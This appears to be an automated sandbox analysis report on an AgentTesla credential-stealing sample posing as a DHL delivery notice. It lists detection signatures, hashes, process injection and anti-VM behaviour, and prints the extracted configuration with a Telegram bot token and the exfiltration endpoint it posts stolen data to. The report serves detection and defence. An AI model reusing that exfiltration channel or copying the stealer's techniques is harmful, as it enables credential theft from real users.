Windows Analysis Report
Dhl recent package delivery report needs attention.exe

Overview

General Information

Sample Name: Dhl recent package delivery report needs attention.exe
Analysis ID: 626595
MD5: 163d3bc2c523dc10c959474aa3f69d56
SHA1: 5338e0aaea69b582d22ff624b4a9fd4efc9eb707
SHA256: 1040411f26f6464fb485e92e74c08c559a6feb9bed0eadc44e831a08c80e8a01
Tags: AgentTeslaDHLexeTelegram
Infos:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Telegram RAT
Yara detected AgentTesla
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Uses the Telegram API (likely for C&C communication)
Machine Learning detection for sample
Allocates memory in foreign processes
Injects a PE file into a foreign processes
Yara detected Generic Downloader
.NET source code contains very large array initializations
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Creates processes with suspicious names
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Found malware configuration
Source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "1436982177", "Chat URL": "https://api.telegram.org/bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendDocument"}
Source: vbc.exe.2728.2.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendMessage"}
Multi AV Scanner detection for submitted file
Source: Dhl recent package delivery report needs attention.exe ReversingLabs: Detection: 36%
Machine Learning detection for sample
Source: Dhl recent package delivery report needs attention.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: Dhl recent package delivery report needs attention.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49770 version: TLS 1.2
Source: Dhl recent package delivery report needs attention.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking
barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 2.0.vbc.exe.610000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.vbc.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.0.vbc.exe.610000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.raw.unpack, type: UNPACKEDPE
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da35bf231981d6Host: api.telegram.orgContent-Length: 1007Expect: 100-continueConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: vbc.exe, 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: vbc.exe, 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: vbc.exe, 00000002.00000002.639895069.0000000006CEE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: vbc.exe, 00000002.00000002.640666655.0000000009DF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: vbc.exe, 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://hEsAGj.com
Source: vbc.exe, 00000002.00000002.639841267.0000000006CD9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Dhl recent package delivery report needs attention.exe String found in binary or memory: http://www.red-gate.com/products/dotnet-development/smartassembly/?utm_source=smartassemblyui&utm_me
Source: Dhl recent package delivery report needs attention.exe String found in binary or memory: http://www.smartassembly.com/webservices/Reporting/L
Source: Dhl recent package delivery report needs attention.exe String found in binary or memory: http://www.smartassembly.com/webservices/Reporting/UploadReport2
Source: Dhl recent package delivery report needs attention.exe String found in binary or memory: http://www.smartassembly.com/webservices/Reporting/UploadReport2v
Source: Dhl recent package delivery report needs attention.exe String found in binary or memory: http://www.smartassembly.com/webservices/UploadReportLogin/
Source: Dhl recent package delivery report needs attention.exe String found in binary or memory: http://www.smartassembly.com/webservices/UploadReportLogin/GetServerURL
Source: vbc.exe, 00000002.00000002.639841267.0000000006CD9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.388827798.0000000003509000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000000.382250415.0000000000612000.00000040.00000400.00020000.00000000.sdmp, vbc.exe, 00000002.00000000.380913160.0000000000612000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/
Source: vbc.exe, 00000002.00000002.639841267.0000000006CD9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendDocument
Source: vbc.exe, 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendDocumentdocument-----
Source: vbc.exe, 00000002.00000002.639841267.0000000006CD9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org4Hkp
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.388770101.0000000002518000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://dafa.fa
Source: vbc.exe, 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uyuDgc6hArJiFp.org
Source: vbc.exe, 00000002.00000002.637072337.0000000006981000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
Source: unknown HTTP traffic detected: POST /bot5279095555:AAE4HwAzPbUle9whPqEu6faWeNRU-6BRHps/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da35bf231981d6Host: api.telegram.orgContent-Length: 1007Expect: 100-continueConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: api.telegram.org
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49770 version: TLS 1.2
Creates a DirectInput object (often for capturing keystrokes)
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.388094558.000000000085B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 2.0.vbc.exe.610000.3.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 2.2.vbc.exe.610000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 2.0.vbc.exe.610000.1.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 2.0.vbc.exe.610000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 2.0.vbc.exe.610000.4.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 2.0.vbc.exe.610000.2.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
.NET source code contains very large array initializations
Source: 2.0.vbc.exe.610000.0.unpack, u003cPrivateImplementationDetailsu003eu007bBB4BE492u002d6011u002d480Bu002d9BB6u002d62392DD3DBCEu007d/C1CFE8FFu002d83FDu002d4C7Fu002d8602u002d9133ABE62880.cs Large array initialization: .cctor: array initializer size 11668
Source: 2.0.vbc.exe.610000.4.unpack, u003cPrivateImplementationDetailsu003eu007bBB4BE492u002d6011u002d480Bu002d9BB6u002d62392DD3DBCEu007d/C1CFE8FFu002d83FDu002d4C7Fu002d8602u002d9133ABE62880.cs Large array initialization: .cctor: array initializer size 11668
Source: 2.0.vbc.exe.610000.3.unpack, u003cPrivateImplementationDetailsu003eu007bBB4BE492u002d6011u002d480Bu002d9BB6u002d62392DD3DBCEu007d/C1CFE8FFu002d83FDu002d4C7Fu002d8602u002d9133ABE62880.cs Large array initialization: .cctor: array initializer size 11668
Source: 2.0.vbc.exe.610000.1.unpack, u003cPrivateImplementationDetailsu003eu007bBB4BE492u002d6011u002d480Bu002d9BB6u002d62392DD3DBCEu007d/C1CFE8FFu002d83FDu002d4C7Fu002d8602u002d9133ABE62880.cs Large array initialization: .cctor: array initializer size 11668
Source: 2.2.vbc.exe.610000.0.unpack, u003cPrivateImplementationDetailsu003eu007bBB4BE492u002d6011u002d480Bu002d9BB6u002d62392DD3DBCEu007d/C1CFE8FFu002d83FDu002d4C7Fu002d8602u002d9133ABE62880.cs Large array initialization: .cctor: array initializer size 11668
Uses 32bit PE files
Source: Dhl recent package delivery report needs attention.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 2.0.vbc.exe.610000.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 2.2.vbc.exe.610000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 2.0.vbc.exe.610000.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 2.0.vbc.exe.610000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 2.0.vbc.exe.610000.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 1.2.Dhl recent package delivery report needs attention.exe.353dd30.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 2.0.vbc.exe.610000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 1.2.Dhl recent package delivery report needs attention.exe.3509510.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_008DF080 2_2_008DF080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_008DF3C8 2_2_008DF3C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_008D02C2 2_2_008D02C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_008DF3BD 2_2_008DF3BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_0A104BC8 2_2_0A104BC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_0A1030E8 2_2_0A1030E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_0A101150 2_2_0A101150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_0A104F40 2_2_0A104F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 2_2_0A108780 2_2_0A108780
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Code function: 1_2_049EEF28 CreateProcessAsUserA, 1_2_049EEF28
Sample file is different than original file name gathered from version info
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.387791663.0000000000250000.00000002.00000001.01000000.00000005.sdmp Binary or memory string: OriginalFilenameAcroCEF.exe> vs Dhl recent package delivery report needs attention.exe
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.387791663.0000000000250000.00000002.00000001.01000000.00000005.sdmp Binary or memory string: OriginalFilenameAcroCEF.exe< vs Dhl recent package delivery report needs attention.exe
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.388770101.0000000002518000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameoOGLJXHkjIUdDHWuyQTkUEYbpke.exe4 vs Dhl recent package delivery report needs attention.exe
Source: Dhl recent package delivery report needs attention.exe, 00000001.00000002.388827798.0000000003509000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameoOGLJXHkjIUdDHWuyQTkUEYbpke.exe4 vs Dhl recent package delivery report needs attention.exe
Source: Dhl recent package delivery report needs attention.exe Binary or memory string: OriginalFilenameAcroCEF.exe> vs Dhl recent package delivery report needs attention.exe
Source: Dhl recent package delivery report needs attention.exe Binary or memory string: OriginalFilenameAcroCEF.exe< vs Dhl recent package delivery report needs attention.exe
PE file contains strange resources
Source: Dhl recent package delivery report needs attention.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Dhl recent package delivery report needs attention.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Dhl recent package delivery report needs attention.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Dhl recent package delivery report needs attention.exe ReversingLabs: Detection: 36%
Source: Dhl recent package delivery report needs attention.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe "C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe"
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Dhl recent package delivery report needs attention.exe.log Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@3/1@1/1
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: Dhl recent package delivery report needs attention.exe, u001fu0003/u009b.cs Cryptographic APIs: 'CreateDecryptor'
Source: Dhl recent package delivery report needs attention.exe, u001fu0003/u009b.cs Cryptographic APIs: 'TransformFinalBlock'
Source: Dhl recent package delivery report needs attention.exe, u001fu0003/u009b.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 1.0.Dhl recent package delivery report needs attention.exe.1e0000.0.unpack, u001fu0003/u009b.cs Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.Dhl recent package delivery report needs attention.exe.1e0000.0.unpack, u001fu0003/u009b.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 1.0.Dhl recent package delivery report needs attention.exe.1e0000.0.unpack, u001fu0003/u009b.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 2.0.vbc.exe.610000.0.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 2.0.vbc.exe.610000.0.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 2.0.vbc.exe.610000.4.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 2.0.vbc.exe.610000.4.unpack, A/F1.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: Dhl recent package delivery report needs attention.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Dhl recent package delivery report needs attention.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Code function: 1_2_049E2857 push ebx; ret 1_2_049E287A
Source: initial sample Static PE information: section name: .text entropy: 7.52092762283
Creates processes with suspicious names
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe File created: \dhl recent package delivery report needs attention.exe
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe File created: \dhl recent package delivery report needs attention.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Dhl recent package delivery report needs attention.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
